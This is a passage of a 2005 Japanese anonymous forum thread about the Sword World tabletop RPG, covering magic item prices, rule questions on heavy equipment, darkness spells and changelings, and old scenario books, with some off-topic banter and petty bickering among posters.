PT内で融通すると、そんな苦しむって程でも無くなるぞ。バードが居たら更にだし。
それに初期の頃だと、それこそ保存食なんかも前金貰って〜になるし
(保存食の分の金額はさほど考えなくなる)

そうなってくると、消耗品の類が良いのが少ないって事に起因すると思う。

623 :NPCさん:2005/07/07(木) 22:47:12 ID:???
ファイター、シーフ、レンジャー技能持ちが爆裂弾撃ちまくればいいじゃん。
あっちゅー間に金無くなるぞ!?w

624 :NPCさん:2005/07/07(木) 23:03:23 ID:???
魔力のカードとか買わないの?

625 :NPCさん:2005/07/07(木) 23:15:03 ID:???
>>624
俺はあんまり考えたことないんだが。
例えばなんのカードを買う?

626 :NPCさん:2005/07/07(木) 23:17:18 ID:???
>624
って何?

627 :NPCさん:2005/07/07(木) 23:19:45 ID:???
合言葉を唱えて破ると、こめられた魔法が発動する
トランプのようなカード
完全版に載ってる

628 :NPCさん:2005/07/07(木) 23:21:20 ID:???
超強力な酸とか香辛料の粉末とか煙幕とか眠り薬とか敵に投げつける、それが薬学セージクオリティ
でも命中させるためにはセージ技能じゃだめだな

( ゚д゚)ハッ!
つ[セージレンジャー]

629 :NPCさん:2005/07/07(木) 23:27:34 ID:???
そげキングだな

630 :NPCさん:2005/07/07(木) 23:30:42 ID:???
>>625
フルポテ1発で、大体9000ガメルか。
フィジカルだと、4000ガメルほど。
ライトニングバインドが13000、
ヘイストが7700.
ルーンシールドが11520ガメル、フォースフィールドが10240ガメルと
意外とお安くなっております。

631 :NPCさん:2005/07/07(木) 23:33:29 ID:???
>>625
タング、トランスレイト、テレポート
この手の物は戦闘用魔法より便利魔法の方が役に立つ。

632 :NPCさん:2005/07/07(木) 23:37:06 ID:???
>627
ありがとう。そうか、完全版か…

633 :NPCさん:2005/07/07(木) 23:37:38 ID:???
ディスペルマジックですら1600ガメルか。やっぱり高いな、魔力のカード。

634 :NPCさん:2005/07/07(木) 23:39:27 ID:???
>>633
あれは高レベル魔法を低レベルで使うもんだ。
ディスペルなんて金の無駄だ。

635 :NPCさん:2005/07/07(木) 23:39:58 ID:???
16000ガメルでデスクラウドとか。「死」のカードだな。

636 :NPCさん:2005/07/07(木) 23:40:21 ID:???
>>627
マジックザギャザリング実体版みたいなのもアドベンチャーででてきたな。

637 :NPCさん:2005/07/07(木) 23:40:55 ID:???
けど1ゾロが無いからな。
で、魔法強度15だから、魔力は8か。

638 :NPCさん:2005/07/07(木) 23:46:59 ID:???
ソーサラーなら、魔法のスクロールでも良いぞ。
魔力は使用者依存だが、デス・クラウドが10000ガメル、
ライトニングバインドが6400ガメルで使えます。

639 :NPCさん:2005/07/07(木) 23:49:59 ID:???
テレポートのスクロールはあると何かの時に使えるかも知れないな。
ソーサラーだけ逃げるとか。
【お前はバレンか】

640 :NPCさん:2005/07/07(木) 23:53:48 ID:???
>カード
メテオとか、ゲートとか、ビカムノーライフキングとか…

641 :NPCさん:2005/07/07(木) 23:56:47 ID:???
メテオはまだしも、
遺失魔法を込めるのはどうよw

642 :NPCさん:2005/07/07(木) 23:58:34 ID:???
ビカム・ノーライフキングは達成値がかなり必要だったはずだぞ(クリスタニアだけど)
魔法強度15じゃ、魂の破滅がオチだ。

643 :NPCさん:2005/07/07(木) 23:59:25 ID:???
ビカムノーライフキングの魔力のカードならキャンペーンのキーアイテムにすらできそうだな。

ていうかもう祭器とかそういうレベルのアイテムなんじゃないかとw

644 :NPCさん:2005/07/08(金) 00:07:42 ID:???
「クリエイトマジックソード+3」のカード

645 :NPCさん:2005/07/08(金) 01:22:47 ID:???
確かQ&Aでスクロール程度なら学院は製作できるという記述もあったようだし…
会員なら金出せば売ってくれそうだ

646 :NPCさん:2005/07/08(金) 01:27:02 ID:0zGKIJMV
重すぎる装備について質問させてください。

まず、シーフ技能のみを持つキャラクターがいたとします。
このキャラクターに、必要筋力が彼の筋力の1/2より1点だけ大きい武器や防具を装備させます。
このとき、正しい運用方法はどちらになるでしょうか。

(1) 筋力の1/2を基準に選択ルールを照らし合わせ、攻撃力や回避力に1点のペナルティを課す
(2) そもそもシーフ技能が使えない状態なので、攻撃力や回避力は平目で計算する。追加ダメージ等もなし。
(3) その他

なお、次の条件でルールを運用するとします。
・ルールは完全版を使用する
・選択ルール「重すぎる武器、防具」(P.291)を使用する






647 :NPCさん:2005/07/08(金) 01:34:39 ID:???
>>646
ttp://www.geocities.co.jp/SiliconValley-Cupertino/9261/skill/touzoku/touzoku1.html#omopena

648 :NPCさん:2005/07/08(金) 01:35:45 ID:???
>>646

ファイターには筋力制限が無いから、重すぎる武器・防具でペナルティが掛かる訳で。
あと、平目で計算だが、選択ルールによっては武器・防具自体のペナルティは受けるので注意
(金属鎧だと回避-1等)

因みに武器だけ・防具だけのどちらかが重い状態でも、回避・攻撃もシーフ技能が使えなくなる点に注意。

649 :648:2005/07/08(金) 01:36:29 ID:???
あ、出来たのか。スマン。
他のと混ざったモヨウ(´Д`

650 :NPCさん:2005/07/08(金) 01:39:03 ID:???
・・・あ、Q&Aに。申し訳ない。


というか、ここ前に読んだ気がする・・・。
俺の記憶力は鳥並か orz


651 :NPCさん:2005/07/08(金) 02:03:42 ID:???
…ウチの卓では、「ペナルティー2倍」or「平目」にしてたな〜
知らんかった…普通の処理で使えたんだね〜

652 :理恵 ◆HgQHDRoDkc :2005/07/08(金) 02:10:42 ID:???
うろ覚えでルールを運用して、バランスが取れてないと文句を言う人もたまにいますね。
清松氏が叩かれるのは大抵そのパターンです。
記憶違いで勝手に人を非難するなんて、ふつうの人ならしないでしょう。

653 :NPCさん:2005/07/08(金) 02:14:05 ID:???
つまりジャイスラに関するキヨマツ批判ももれたちが何かルールをうろ覚えしてる、ってこと?

654 :NPCさん:2005/07/08(金) 02:19:29 ID:???
つまり顔ペイント問題やシー問題に関する以下略

655 :NPCさん:2005/07/08(金) 09:45:24 ID:???
ジャイスラは良いと思うが顔ペイントハナー

656 :NPCさん:2005/07/08(金) 09:47:53 ID:???
俺のターン!「マーチ」で行動順を敏捷度21に揃え
魔力のカード「ライトニングバインド」を攻撃表示!

657 :NPCさん:2005/07/08(金) 10:49:05 ID:???
昨日今日百冊超えたわけでもないようなのに
今百冊キャンペーンをやるのはフェア合わせかサーラ合わせか

658 :NPCさん:2005/07/08(金) 11:18:40 ID:???
>>572
ヒーリングポーションは有るよ。小説のみなんでデータが無いが。
1000ガメルで1点回復とかしょうもないものかもしれんが。

659 :NPCさん:2005/07/08(金) 11:22:47 ID:???
価格計算式に当てはめれば
魔力1のキュアーウーンズ相当のポーションで100ガメルかな。

660 :NPCさん:2005/07/08(金) 11:25:15 ID:???
仮に回復ポーションのデータがあっても
よほど安くて強力じゃなければ買わないと思う

661 :NPCさん:2005/07/08(金) 14:10:49 ID:???
ポーションは高校の文芸部でTTRPGやったときに
♀のプレイヤーが惚れ薬飲まされた演技テラウマスで焦った事が有るな

そんだけ

662 :NPCさん:2005/07/08(金) 14:18:37 ID:???
ポーションと言えばラヴ・ポーションだと思う思春期

663 :NPCさん:2005/07/08(金) 15:07:01 ID:???
生命力回復系の薬が在ったとして、その効果ってのは魔法的な内容ではないだろうね
恐らくだが「ヒーラーの技能を使った薬草の効果」と同等で、ヒーラーが居なくても使える程度ではないか?

664 :NPCさん:2005/07/08(金) 15:20:37 ID:???
小説に出てきたヒールポーションは「魔法使い」が作ってたけどね。
キヨマー検閲済みかは怪しいが。

665 :NPCさん:2005/07/08(金) 16:05:14 ID:???
戦闘中でも使えるポーションなら高価で回復量少なくても保険に欲しい。
戦闘中では使えないのなら回復量×300ガメルくらいしか払いたくないな。

高額消耗品で最も欲しいのは事故回避の「ラック」の護符だったりして。
育ったのに事故死ではたまらん。

666 :NPCさん:2005/07/08(金) 16:38:32 ID:???
>>656
トラップカード発動!!「ディスペルマジック」!!
この効果によって、「ライトニングバインド」の効果は消滅する!!

667 :NPCさん:2005/07/08(金) 16:40:58 ID:???
まあSWではディスペルマジックは後からしか掛けられないから
効果は消滅しないんだよね。将来に向かって消えるだけで。

668 :NPCさん:2005/07/08(金) 17:30:56 ID:???
>>665
 ・効果は1回きり。使い捨て。
 ・複数所持していても1回使うと「ラック」の呪文と同じで眠るまでは効果を得られない。
 ・価格が一つ1万ガメル。

ぐらいの条件なら「ラック」の護符があってもいいかもしれないな。
これ以上高いと全員が買ってそろえるの大変だし、
安すぎても変だし。

チャ・ザ神殿の収入源として高レベル冒険者に馬鹿売れ。
免罪符みたいだなw

669 :NPCさん:2005/07/08(金) 17:36:07 ID:???
>>668
ラックのマジックアイテムは価格計算式に従うとすげー安くなるんだよな。
消費精神力1だから。一時期愛用してた。

670 :NPCさん:2005/07/08(金) 17:37:22 ID:???
たぶん神器だからマジックアイテムと違ってPCにも製作可能だな、ちょっと10レベルプリーストが破滅するが

671 :NPCさん:2005/07/08(金) 17:49:55 ID:???
マジックポーションは旧版の頃から作成可能でした。
手順としては、

1、セージでポーションの作り方を知っているかチェック。(基本は知名度)
2、材料を集める。
3、ソーサラー技能で作成判定。

普通の薬はセージ技能だけで可能。

672 :NPCさん:2005/07/08(金) 17:58:07 ID:???
>>671
完全版P174〜175にそんなような事が書いてあるな。
セージ技能の知識判定で毒の知名度より4以上大きかったらその毒と(もし存在するなら)解毒剤の作り方を知っている。
でも魔法の効果がある毒はソーサラーにしか作れない。

でも細かいこと(必要な材料・調合にかかる時間)はGMに一任されてるからなー

673 :NPCさん:2005/07/08(金) 18:00:21 ID:???
公式シナリオやリプレイでもそんなルール使ったことないしな

674 :NPCさん:2005/07/08(金) 18:02:10 ID:???
>>672
「ソーサラーにしか作れない」ってのは
判定はセージ技能で行い、その上でソーサラー技能が1レベル以上必要、なのか
それともソーサラー技能+知力(?)ボーナスで判定しなくちゃいけない、なのか。
どっちだろう。

675 :NPCさん:2005/07/08(金) 18:14:51 ID:???
ソーサラー技能『も』高くないとだめです。

676 :NPCさん:2005/07/08(金) 18:17:54 ID:???
>>674
残念ながらそれをあの文章から読みとるのは困難なので清松先生に質問するのがよいかと。

677 :NPCさん:2005/07/08(金) 20:46:41 ID:???
質問。
ダークネスやシェイドの闇を自分中心にかけました。
次のRの行動宣言で、暗視持ってない敵は闇の中心に向けて攻撃という選択は出来ますか?
インビジの場合は出来ないんだけど、ダークネスはOK?それとも駄目?

678 :NPCさん:2005/07/08(金) 20:47:29 ID:???
元気で明るくちょっとシャイな女の子が、異性関係でからかわれると発動する
「もう、○○のばかー!(ぺし)」技能を、イリーナが発動した場合のダメージは
どれくらいと見積もるべきでしょうか。

679 :NPCさん:2005/07/08(金) 20:50:35 ID:???
範囲魔法は駄目なのか?

680 :NPCさん:2005/07/08(金) 20:53:19 ID:???
イリーナは女の子ではないので、技能修得条件を満たしていません

681 :NPCさん:2005/07/08(金) 20:53:23 ID:???
>>677
対象:個人の魔法は不可だろう。
対象が範囲の魔法(ファイアボールやライトニング等)はOKかと。
弓は・・・撃っていいんじゃないかな。たぶんインビジも弓OKじゃないかと。

682 :NPCさん:2005/07/08(金) 21:03:25 ID:???
>>681
ただし、弓の使用は夜間戦闘修正をつけるべきだと思う

683 :NPCさん:2005/07/08(金) 21:14:21 ID:???
>>682
それはそうだろうね。
中心を狙えばいいとは言っても相手が見えない事に変わりないし。

684 :NPCさん:2005/07/08(金) 21:15:28 ID:???
うちだと、インビジ状態の奴に弓を撃つ場合は
どのマスに向かって撃つか指定させてたな。

685 :NPCさん:2005/07/08(金) 21:25:35 ID:???
>>684
つまりあれか。潜水艦ゲームw

686 :NPCさん:2005/07/08(金) 21:25:58 ID:???
>>677
闇の中といっても-4のペナルティーがつくだけだぞ。攻撃できなくなるわけじゃない。
シーフなら(存在がばれていないなら)潜伏が可能なことにしてもいいかもしれんが。

687 :NPCさん:2005/07/08(金) 22:02:47 ID:???
>671
で、実際に作るポーションのデータってあったっけ?

688 :NPCさん:2005/07/08(金) 22:08:09 ID:???
>>687
厳密にはポーション(飲み薬)に限らず、薬物全般の話だな。

689 :NPCさん:2005/07/08(金) 22:08:23 ID:???
>>687
毒はある。ポーションのたぐいはない。
毒も作成時に具体的にどうやるかは決まっていないのでGM次第。

690 :NPCさん:2005/07/08(金) 22:16:02 ID:???
毒禁止といいつつ、薬物知識で作れるもののデータは毒しかない。
なんてシステムだSW。

691 :NPCさん:2005/07/08(金) 22:19:29 ID:???
そんな不器用なSWたん、萌えーーーー!!

692 : :2005/07/08(金) 22:40:30 ID:???
ガープスマジックのエリクサみたいな一時的効果のあるポーションなら作成可能、
にすれば?

一時間だけ器用度、敏捷度、筋力が+3/+6。
一日食事や水を取らなくても平気
一日だけ毒無効化等々

6レベル以上のソーサラー/セージで費用もかかるとかにすればいい。

693 :NPCさん:2005/07/08(金) 22:43:39 ID:???
忘れてますよ
つ【ハウス】

694 :NPCさん:2005/07/08(金) 23:33:10 ID:???
解毒剤は作れなかったっけ?

695 :NPCさん:2005/07/08(金) 23:38:05 ID:???
解毒剤は作れる。
毒より知識判定の達成値がいくつか高かったはず。

るるぶの禁止されない毒って、ビーストメイカーくらいか?

696 :NPCさん:2005/07/08(金) 23:41:05 ID:???
>>694
>>672

697 :NPCさん:2005/07/08(金) 23:48:16 ID:???
魔法効果のある毒の解毒剤って、ソーサラーにしか作れないんだろうか?

698 :NPCさん:2005/07/09(土) 01:55:47 ID:???
はあ?
そんなの常識で判断しろよ。

699 :NPCさん:2005/07/09(土) 11:04:46 ID:???
貴様は清松か

700 :NPCさん:2005/07/09(土) 11:30:04 ID:???
チェンジリングでエルフって生まれますか?
それともハーフエルフだけ?

701 :NPCさん:2005/07/09(土) 11:35:51 ID:???
生まれる。

702 :NPCさん:2005/07/09(土) 11:44:50 ID:???
>>700
実例としてデルマストはチェンジリングだ。

703 :700:2005/07/09(土) 12:02:31 ID:???
ありがとう。
しかしデルマストってチェンジリングだったんだ。説明には書かれて無いけど。

704 :NPCさん:2005/07/09(土) 12:28:28 ID:???
Q&Aで回答があったと思うよ>デルマスト
もともとエルフなのになんでシャーマンが無いのかという質問だったと思う。

705 :NPCさん:2005/07/09(土) 12:35:14 ID:???
人間生まれのエルフ、ってだけじゃなかったか?
ハーフエルフ同士から生まれて人間社会で育てばそうなる。


706 :NPCさん:2005/07/09(土) 13:21:31 ID:???
逆に言えばエルフの村に生まれたチェンジリングの人間は戦車になる

707 :NPCさん:2005/07/09(土) 13:23:34 ID:???
エルフ様の乗る戦車を引っ張る役目?

708 :AC−10:2005/07/09(土) 13:28:25 ID:???
>>706
WizスレにGo。

709 :NPCさん:2005/07/09(土) 15:18:49 ID:???
>>706>>708
砂の王のヴァル?


710 :NPCさん:2005/07/09(土) 15:21:43 ID:???
>>704
技能の取得は生まれというより育ちって感じだよな。
エルフはプリースト技能を取れないとか、ドワーフはソーサラー技能を
取れないとかいうのも教育のせいだったりして。

反日教育を叩き込まれなければ・・・

711 :NPCさん:2005/07/09(土) 16:17:07 ID:???
デルマスト懐かしい。
サイコロの目が良くて1撃で倒してしまいGMが泣いてたっけ。
やっぱりエルフに高レベルプレイは向かない。

712 :NPCさん:2005/07/09(土) 16:35:02 ID:???
  ( の )⌒ヽフ ♪のとと とんか とんか とんかつ〜
   ∩ ・ω・)
  ...(   ┬O   ののとん〜かん〜か とんかつ〜
 ≡ ◎し'┴◎
               のののにまわして のののにまわして とんかつ〜〜〜♪

713 :NPCさん:2005/07/09(土) 18:16:00 ID:???
>>710
プリーストは教育、ソーサラー、シャーマンは才能らしい
この話題はループはするけど、いまいち盛り上がりに欠ける

714 :NPCさん:2005/07/09(土) 18:32:10 ID:???
>>713
PC的にはあまり意味が無いところだからな。
教育だろうが才能だろうがルールそのままで可不可を判定するか、GMに頼んで特例を認めてもらうかの問題だからな。

715 :NPCさん:2005/07/09(土) 18:41:59 ID:???
デルマストはともかくミスリルゴーレムが固かったから手強かったけどな。クリティカルしないし。

716 :NPCさん:2005/07/09(土) 20:33:04 ID:???
デルは一応エルフにしては生命力高い。
それにあのシナリオでは脇役だしね。

717 :NPCさん:2005/07/09(土) 21:32:48 ID:???
リプレイ見てると、ハーフエルフって大して迫害されてる様には見えんな。
それらしい描写があったのって二部だけだろ。

718 :NPCさん:2005/07/09(土) 21:34:28 ID:???
>>717
シナリオ的な必然性も無く迫害してもあんまりメリット無いしね。
PCが所属する冒険者ってカテゴリーでは迫害なんてされて無いんだろうし。

719 :NPCさん:2005/07/09(土) 21:53:03 ID:???
>>717
そりゃ、ノベルでやるなら兎も角、
中の人が個別に存在するリプレイで迫害たら気分悪かろう。中の人。

まぁ、そういう偏見の強いところ、とかシナリオのネタになってるなら
それはそれでありだろうが。

720 :NPCさん:2005/07/09(土) 22:00:21 ID:???
迫害されて冒険者になりました、みたいな過去の味付け用だよね<ハーフエルフ迫害

721 :NPCさん:2005/07/09(土) 22:04:05 ID:???
冒険者自体が、あんまりいい目で見られる職業じゃないからな
近頃は変わってきたようだが。

そんな冒険者の中ではハーフエルフの迫害はそんな影響があるもんじゃないな。
むしろ、シナリオソースかキャラの味付け用だな。

マウナなんかは、迫害されえ冒険者になった口だし。

722 :NPCさん:2005/07/09(土) 22:08:01 ID:???
チェンジリングのエルフたるデルマストはやはり迫害されたのかな?
それで狂えるゴーレム使いになったのか。
それとも普通に狂ったのかね。

723 :NPCさん:2005/07/09(土) 22:11:27 ID:???
はみ出し者の集団、ヤクザな商売の冒険者が迫害する側になるなんてお笑いだもの

724 :NPCさん:2005/07/09(土) 22:13:42 ID:???
‥‥‥‥‥

えーっと、つまり、やくざは身内を差別しないって事ですね

725 :NPCさん:2005/07/09(土) 22:18:43 ID:???
差別されたからヤクザになった、てなところだろう。

726 :NPCさん:2005/07/09(土) 22:21:29 ID:???
>722
ハーフですら迫害されるのに、完全エルフで、しかもチェンジリングだったりした日にゃ酷い迫害に遭ったんではないかと。

727 : :2005/07/09(土) 22:28:31 ID:???
ヨーダのあの動きを見て、超10レベルグラランの戦闘モードはあんな感じ?


>デルマスト
チェンジリングとして迫害を受けたデルマストを、引き取って育てたのはマナ・ライ。
しかし彼の中で迫害された記憶は浄化されず、暗黒面に引かれて世界制覇を・・・
という設定はどうか。

728 :NPCさん:2005/07/09(土) 22:39:50 ID:???
>>723
どんな階層、集団の中にも最弱の鶏は有り得るもんだよ。
swではゲームの障害だから、アーチーが避けたようにこだわず馴れ合うべきだろうけど。

729 :NPCさん:2005/07/09(土) 23:04:02 ID:???
デルマストの子供は双子で、片方はどこかのお姫様なのか?
片方は光る両手剣の使い手になるわけだ。

730 :NPCさん:2005/07/09(土) 23:24:39 ID:???
デルマストは最期に良心を取り戻し、ルテジアを道連れに死す。
フィエスは危うくダークサイドから逃れるのだった。

731 :NPCさん:2005/07/09(土) 23:52:45 ID:???
さ…差別…されたんだ…

732 :NPCさん:2005/07/10(日) 00:11:44 ID:???
エピソード7以降はどんな話なの?

733 :NPCさん:2005/07/10(日) 00:28:27 ID:???
小説のニュージェダイオーダーシリーズを読めば?
もう20冊ぐらいでてるんじゃないかな。
他にもSW小説なんていっぱい出てるし。
【SWは何の略かって?空気を読めよ】

734 :NPCさん:2005/07/10(日) 00:29:59 ID:???
>>731
吉住邦夫乙!

735 :NPCさん:2005/07/10(日) 00:57:22 ID:???
>>731
神威家四男乙。金の鹿。



736 :NPCさん:2005/07/10(日) 01:27:44 ID:???
SWでモンスターのボスをだす場合の適性障害レベルが
PCの最高+2だと思ってるヤツどれくらいいますか?

737 :NPCさん:2005/07/10(日) 01:30:49 ID:???
>>736
つーか、大体そのくらいが推奨じゃなかった?
上の方のデルマストとか出てくるのは5レベル上の奴あてがわれて
とんでもなく辛い戦いになるけど。

738 :NPCさん:2005/07/10(日) 01:37:32 ID:???
>>737
怪獣大戦争だから仕方ない。それに旧ルールだという事も考慮されたい。
つーか、ああいうシナリオがないとエルドラとかノラキンとかを出す場所がなくなり、
せっかくルールに載せたのに勿体無くなるから。

739 :NPCさん:2005/07/10(日) 01:59:12 ID:???
>>738
サイクロプスも出して下さい・・・ってのはこの前も誰か言ったっけ?

740 :NPCさん:2005/07/10(日) 02:10:45 ID:L4lOQdKT
それにしてもモンスターレベルってどうなんだ?ってよく思う。
同じレベルでも魔法使えるやつと使えない奴で強さが全然違うし

741 :理恵%rierie:2005/07/10(日) 02:15:55 ID:???
MLはただの目安に過ぎないという事さえ理解できない人がいますね。
こんな人達がSWに文句をつけるわけですから、清松氏もたまらないでしょう。

742 :理恵 ◆dT8eX.BP8E :2005/07/10(日) 02:18:27 ID:???
おっと、トリップを失敗してしまったようですね。
騙りを防ぐために、今後はトリップを別のに変えます。

743 :NPCさん:2005/07/10(日) 02:19:23 ID:???
%rierie さんよ、目安にもなってないといいたいのがわからないのかね?

744 :NPCさん:2005/07/10(日) 02:26:08 ID:???
本人は面白いつもりなんだろうなきっと

745 :NPCさん:2005/07/10(日) 02:28:43 ID:???
>%rierie
あんたを騙ったって面白くもなんともないわけだが
自意識過剰もほどほどに

746 :NPCさん:2005/07/10(日) 02:41:30 ID:???
>>739
目からレーザーはファンタジーっぽくないってのも誰か言ったっけ?

747 :NPCさん:2005/07/10(日) 02:44:30 ID:???
理絵が湧いた直後に、lieが自分とこの掲示板に書き込みしてるのはただの偶然?
なんか作為的に見えてキモイのだが?

748 :NPCさん ◆HgQHDRoDkc :2005/07/10(日) 02:48:29 ID:???
>理恵
次から%lielieってトリップはどうだ?(w

749 :NPCさん:2005/07/10(日) 02:54:11 ID:???
ネットアイドル%rierie ソードワールド113th

750 :NPCさん:2005/07/10(日) 03:14:15 ID:???
物によるだろうな。
雄雄しい掛け声をかけて踏ん張ると同時に目からビームというのは、あまりに昭和だ。

751 :NPCさん:2005/07/10(日) 03:25:22 ID:???
石巨人の迷宮ってどこかに置いてないかなあ?
古いし無理だろうか?

752 :NPCさん:2005/07/10(日) 03:26:58 ID:???
>750
両腕を奇妙に組み合わせて超絶ビームとかか?w








「デュワッ!ゼアッ!」

753 :NPCさん:2005/07/10(日) 03:27:15 ID:???
ついにイリーナ砲の復活ですか…
明朗快活無敵戦闘ファリスロボがちぎって投げて目からビーム(ry

754 :NPCさん:2005/07/10(日) 03:31:45 ID:???
>>751
アマゾンに無いの?
俺は四大魔術師の塔をアマゾンで手に入れたけど。

755 :NPCさん:2005/07/10(日) 03:31:47 ID:???
半身の姿勢から腰に手を当ててビームとか。
Cycloptic Blast!

756 :NPCさん:2005/07/10(日) 03:50:39 ID:???
>>751
俺はむしろ虹の水晶宮が欲しいな。それ以外はコンプリートしてるんだが。
クリスタルドゥームタンがどんなモンスターデータなのか。
変な名前の一点ものモンスターってそそられる。

757 :NPCさん:2005/07/10(日) 04:03:11 ID:???
旧ルールのシナリオなんてひとつも持ってない俺が来ましたよ。
このスレでは少数派?

758 :NPCさん:2005/07/10(日) 05:03:55 ID:???
>>756
残念だが、データはない。
これを教えた時点でネタバレ臭くてスマンが。

759 :NPCさん:2005/07/10(日) 05:06:04 ID:???
>756
クリスタルドゥームとは戦えない。
データが無い=単なる設定
シナリオクリア出来なきゃいずれ世界が滅びるのみ。
ある意味アトンより悪質。
際限なく色を喰らうと云う設定なので、色彩の精霊に協力してもらって精霊界とのゲートを常時オープンにしておかないといけない。
つまり被害範囲が拡大しない様に、常に餌を与えなきゃならない。

760 :NPCさん:2005/07/10(日) 05:17:53 ID:???
S=F海砦の精霊獣?

761 :NPCさん:2005/07/10(日) 05:42:08 ID:???
海砦の水晶蟲の方が後なんだが、あれは当時「うぇ、露骨なパクリだな」と思った。
実際にパクリなのかどうかは知らん。

762 :NPCさん:2005/07/10(日) 06:54:53 ID:???
今更ながらファンドリアのシナリオをプレイしてみたが

めっちゃ疲れるなコレ

763 :756:2005/07/10(日) 07:43:53 ID:???
>>758-759
サンクス。
そっか、データを出すと倒されるから出さないってやつか。

764 :NPCさん:2005/07/10(日) 08:26:49 ID:???
>>740
あれはいわゆるHDの代わりだからな。
実際には特殊能力や攻撃回数で補正しないと使えないよね。

765 : :2005/07/10(日) 10:56:47 ID:???
浜田さんて、やっぱりノリーナが一番好きなのかな。
奴ならぱんちらしたところで「男の子です」と言い訳きくし。エキューもヒースも
ノリーナにハート直撃されてたからなあ。

へっぽこ小説の方はノリーナのぎりぎりミニスカイラストみたいですよお前等。

766 :NPCさん:2005/07/10(日) 10:58:15 ID:???
>>751>>756
「お前らのいらないゲームを俺にお年玉するスレ」の648辺りにSWのシナリオ提供者がいるな。
他の手に入れがたいルルブとの交換前提なようだが・・・orz

767 :NPCさん:2005/07/10(日) 12:34:31 ID:???
>>766
その手のトレードは得てして相手の希望商品のがレアだったりする。
SWは一応日本じゃメジャーな部類に入るしね。

768 :NPCさん:2005/07/10(日) 12:46:48 ID:???
あっちは何を欲しがってるの?

769 : :2005/07/10(日) 13:00:11 ID:???
ファンドリアツアーに出てくる人名に「アルシンド」・・・

ヤシンといいクレスポと言い、サッカーファンがいるのか?>SNE
あそこは日韓W杯で日本戦の時間にわざわざボーリング大会するような野球豚の
集まり(筆頭:キヨマツ)だと思っていたが。

770 :NPCさん:2005/07/10(日) 13:01:43 ID:???
モンコレにはデル・ピエロがいたよ・・・


ところでヤシンに何にでてきた?



771 :NPCさん:2005/07/10(日) 13:11:30 ID:???
>>762
華麗にスルーされている所で質問だけど、
ちなみにどのシナリオプレイしたの?

772 :NPCさん:2005/07/10(日) 13:18:41 ID:???
敵と味方が同じ敏捷度で、敵より味方の賢さが高い状況で相手がシェイド使ってくるとします
このシェイドって同じ行動順の味方のライトで消せますか?
ライトは防御系でも回復系でもないので消せると思ったんですけど、実際の所どうでしょう?

773 :NPCさん:2005/07/10(日) 13:25:01 ID:???
消えるだろ。
でもシェイドを召喚してすぐぶつけてくるなら
その精神ダメージは防げないと思う。

774 : :2005/07/10(日) 13:25:28 ID:???
>>770
確かオーファンツアーだったと思う>ヤシン

ヤシン知ってるなんて相当ディープなサカオタだな。普通のサカオタでもしらんやろ

775 :NPCさん:2005/07/10(日) 13:32:03 ID:???
>ヤシン知ってるなんて相当ディープ

そうか?旧ソ連を代表する選手で、唯一のGKでのバロンドール受賞者でしょ?
「知ってて当然」とはいわないけど、それなりに知名度はあるんじゃね?

ちなみに漏れはリア消の時の壁新聞(?)でその名を知った。

776 :NPCさん:2005/07/10(日) 13:32:18 ID:???
>>769
キヨマーはアメフトオタじゃなかったか?ヤスキンだっけ?

777 :NPCさん:2005/07/10(日) 13:43:02 ID:???
>>776
清松はアメフトオタでホークスファン。

778 : :2005/07/10(日) 13:45:09 ID:???
>>775
壁新聞・・・何故?

>>776
日記の02年6月辺り読んでみな。キヨマツはある意味尊敬しているが、サッカーに
ついて語るなと。

779 :NPCさん:2005/07/10(日) 13:49:39 ID:???

>>778
>壁新聞・・・何故?

もう20年近く前のことだからほとんど覚えてないが、
「世界にはいろんな国があるよ」という感じの主旨で、いろんな国のサッカー選手が紹介されていたんだとおもう。
「黒蜘蛛」というニックネームのおかげで記憶に残った。

780 :NPCさん:2005/07/10(日) 14:03:55 ID:???
スポーツ関連は荒れるだけだ。
特に他の趣味についてマイナスな発言はするな。
システム以外のことで関係者を叩きたいなら、こっちへ池。
http://game9.2ch.net/test/read.cgi/cgame/1117146288/l50


781 :NPCさん:2005/07/10(日) 14:15:16 ID:???
>>772

ttp://www.geocities.co.jp/SiliconValley-Cupertino/9261/magic/seirei/seirei3.html#syeihorira

782 :NPCさん:2005/07/10(日) 16:02:23 ID:???
〜なんて普通の奴は知らんだろ
ってのは自分たちを特別視したい馬鹿の慣用句だからな

783 :NPCさん:2005/07/10(日) 16:11:09 ID:???
ヤシンはサッカー選手から取ったかは微妙じゃないか?

784 :NPCさん:2005/07/10(日) 16:45:22 ID:???
ヤシン師!

785 :NPCさん:2005/07/10(日) 16:47:06 ID:???
ヤシン=サッカーなんて思ってるのはサッカーオタだけ

786 :NPCさん:2005/07/10(日) 16:57:23 ID:???
>>782
「男塾なんて覚えている人も少ないぞ」とか
「捕まえられた宇宙人みたい」→「元ネタ分かる人、手を挙げて」とか
清松からして、誰でも知っているようなネタを特別っぽく語る癖があるようだし

787 :NPCさん:2005/07/10(日) 17:08:06 ID:???
誰でも男塾を知ってるという発想が、そもそも妄想なんだがなぁ

788 :NPCさん:2005/07/10(日) 17:11:27 ID:???
>>787
重箱の隅おつ

789 :NPCさん:2005/07/10(日) 17:16:47 ID:???
>>787
誰でも知っているような と 誰でも知ってる
の違いが生じているのは藻前の妄想ゆえだなw
恣意的に削り取ってんじゃねえよ、この捏造野郎w

790 :NPCさん:2005/07/10(日) 17:22:09 ID:???
前提が露骨に誤りで、結論が成立しえないことを指摘したのに、瑣末な突っ込みだと言われたよ
重箱云々の正しい用法って誰でも知ってることじゃなかったのね

791 :NPCさん:2005/07/10(日) 17:24:06 ID:???
>790
「誰でも知っているような」ってのは、知名度が高い、くらいの意味しか持たない。
「誰でも知っている」というのとは明確に違う。だから露骨に誤っているのはそちらだ。

792 :NPCさん:2005/07/10(日) 17:24:11 ID:???
>>790
>>789

793 :NPCさん:2005/07/10(日) 17:26:53 ID:???
ここらで清松本人乙
と妄想を一発

794 :NPCさん:2005/07/10(日) 17:31:07 ID:???
目的は自己の神聖化で、そのため無理やり難癖つけてるんだから、あらゆる突っ込みは重箱の隅に思えるんだろうさ
豚に小判乙

795 :NPCさん:2005/07/10(日) 17:41:17 ID:???
まァつまり曖昧糢糊だとか叙述法とかは偉大ということですなァ、大将ゥ。

796 :NPCさん:2005/07/10(日) 17:42:12 ID:???
なるほど、自分を特別視したい馬鹿に、
自己を神聖化したい馬鹿が難癖を付け、
それに自我が肥大した>>794が難癖を付け、
更に(ry)とループしているわけですな。

ちなみに豚なら真珠、小判なら猫だろ。と「重箱の隅」

797 :NPCさん:2005/07/10(日) 17:50:36 ID:pgazjUSF
くだらない喧嘩age

798 :NPCさん:2005/07/10(日) 17:54:08 ID:???
